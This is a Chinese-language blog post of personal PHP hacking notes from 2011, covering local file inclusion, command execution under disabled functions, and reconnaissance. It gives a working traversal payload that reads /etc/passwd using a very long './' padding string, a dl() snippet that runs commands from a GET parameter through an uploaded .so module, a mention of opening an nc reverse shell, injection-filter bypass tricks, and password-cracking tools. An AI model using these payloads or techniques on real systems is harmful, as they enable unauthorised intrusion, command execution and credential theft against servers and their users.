PHP安全技巧小記

Author:LengF       Time:2011-06-24

最近做得一些測試,應到的一些技巧總結,方便自己學習。你覺得有用就撿走吧!

技巧一:PHP中的文件包含漏洞利用
遇到類似於下面類型包含
<?php
include ($_GET[p].".php");
?>

如果allow_url_include=On我就不說了,是OFF的話就是LFI了。那麼有些人說這個除了利用源碼系統的自身問題來包含可執行文件(在文章PHP安全之LFI漏洞GetShell大閱兵講到的最後一種方法)。但是如果這個系統不是開源你並不知道具體怎麼利用?或者是這個系統根本沒有這種類型的利用方式?我想說的就是這種方式的文件讀取技巧。假如上面代碼保存成lfi.php那麼我們可以這樣方式來讀取,我們以Linux下的/etc/passwd文件爲例,我們可以通過下面代碼:

lfi.php?p=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

這種方式後面的././後面的個數依賴於你的目標系統支持的路徑的最大長度,可以自行驗證來利用,通過這個可以做到你想讀取包含什麼文件格式都可以了。就不一定是php了。當然有些人會說你可以截斷%00,沒有,有時候可以,不過我也在另外一篇文章中提到php>=5.3.4中截斷的bug已經修復了。我也正是遇到了無法截斷纔想到了這種思路。當然LFI還有其他的應用,具體請閱讀PHP安全之LFI漏洞GETSHELL大閱兵。還有其他的方法也可以,比如,通過無數個/////只要個數大於文件路徑的最大長度後面的就會被拋棄了。
技巧二:關於另類執行命令方法
這裏技巧是關於php再禁用各種函數的情況下如何來執行命令方法。不過有時候比較雞肋。朋友人間空氣丟我一個shell,我看了一下,啥都幹不了除了能修改自己web下的文件,我一下在有點傻了。不過朋友Tm3yShell7跟我說還有另外一種思路能夠實現php執行命令,發我一個php函數dl(),呵呵,樂了一下(不懂裝懂永是飯桶)趕緊baidu找資料。
利用這個的前提是php.ini中enable_d=on(在PHP5.2.5默認開啓),那麼我們就可以通過我們自定義的.so(linux)或者.dll(windows下)來執行命令了。因爲很多默認的shell都是利用php的一些系統函數還執行命令的,比如最常見的system,exec,passthru,shell_exec,proc_open。至於是否被禁用,我們可以通過下面簡單幾句php代碼來查看:

<?php
    function showdisablefunctions() {
            if ($disablefunc=@ini_get("disable_functions")){ return $disablefunc; }
            else { return "NULL"; }
     }
echo "Disabled Functions:".showdisablefunctions();                    
?>

這個函數會輸出系統所有被禁用,如果輸入NULL,那就思路更多了。爲什麼要先查看被禁用的php函數?因爲它關係着我們so或者dll文件編寫時候的應用技巧了。所以有時候往往需要根據不同環境編譯除不懂的so或者dll模塊來加載。那麼如何執行和加載這個模塊,我們看下在寫一個動態加載的code(先上傳你的so模塊到這個文件的同一目錄)

dl('php5.so');        // 這個編譯好的模塊名稱
spiderbiguan($_GET['cmd'].' >/tmp/log.txt 2>&1'); // 這個導出函數的調用

這裏我提供一個常用的,不過功能還不是很強。對於Linux下php的模塊編程還在學習中,期待大家分享好用模塊調用。(下載地址在最後)

至於如何編寫so文件,我找一些參考資料放在參考文檔中,當然了php官方的最好了。
利用這個方法,我實現了nc反彈回來(沒使用前利用shell自帶的無法執行,不過最關鍵還是依賴於perl的支持,利用的是nc.pl版)至於後面的溢出發現權限很BT,不過回頭還得看看。
技巧三:繞過防注入思路
繞過防注入一直也是大家關注的話題。最常見的思路有
1.大小寫混寫
2.編碼語句,利用php的函數
3./**/或者/*!*/
這個不準備總結,根據經驗大家實驗就知道了。多看看php的官方文檔,不要忽略老bug。
技巧四:倒插門的信息收集
本來這個技巧不屬於php的,適用於任何的***過程,所以是倒插門的。呵呵,Linux下安全檢測工具比Window的工具會讓不熟悉的Linux的朋友畏懼,可是你畏懼了,你是喪失了一大堆好工具了。我常用利用Linux的平臺的幾個小工具實現強大的信息收集:
1.nmap掃描
這個工具功能參數很多,我只提一個,也是我常用的,nmap -O ip 可以得到系統的類型和開放端口及對應的服務,收集這些主要爲了後面檢測提供一個更加廣闊的思路,不至於由於忽略了某個漏洞導致***失敗。
2.nikto檢測
這款工具往往可以給你找出一些你手動很難找到的目錄,他可以通過網絡上多種方式的掃描,比wwwscan強,因爲wwwscan是基於字典,而這款工具他會收羅網站中任意一個文檔的文件,類似於蜘蛛,當然他不是簡單的url遍歷,還會查看文件的內容。同時,在進行一些已知漏洞掃描的時候更是強大,提供完整的漏洞文件編號,這樣不會漏洞沒一個可能的細節。結合我親身的感受,我當時忽略了一個apache的遠程溢出導致最後搞了半天,才後悔莫及。不過不幸的是這些漏洞參考資料都是EN的,需要大家去理解和利用漏洞,往往並不是想象的那麼簡單,有時候需要你自己對一些exp做寫小改動(要求有編程功底)。
3.hydra和JTR的爆破
關於hydra我之前寫過一個使用筆記http://www.81sec.com/read.php?83,我就不多說了。
JTR(Johnn the Ripper)的利用,對於一些HASH的爆破或者字典破解,關鍵在於效率。
另外我不得不提兩個mysql的hash爆破工具,sqlc.exe和mysqlfast.exe 這兩個效率相當不錯。

結尾:
斷斷續續扯了很多,僅當筆記方便自己,分享與大家,有用你就撿走。個人的見識還是短淺,本文拋磚引玉,期待大家的分享深入的研究文章。

[參考文檔]
【1】http://blog.163.com/chenzhenhua_007/blog/static/128492649201061731324244/
【2】http://blog.csdn.net/taft/archive/2006/02/10/596291.aspx
【3】http://www.hackbase.com/tech/2009-10-24/57290.html[重點詳細看]
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章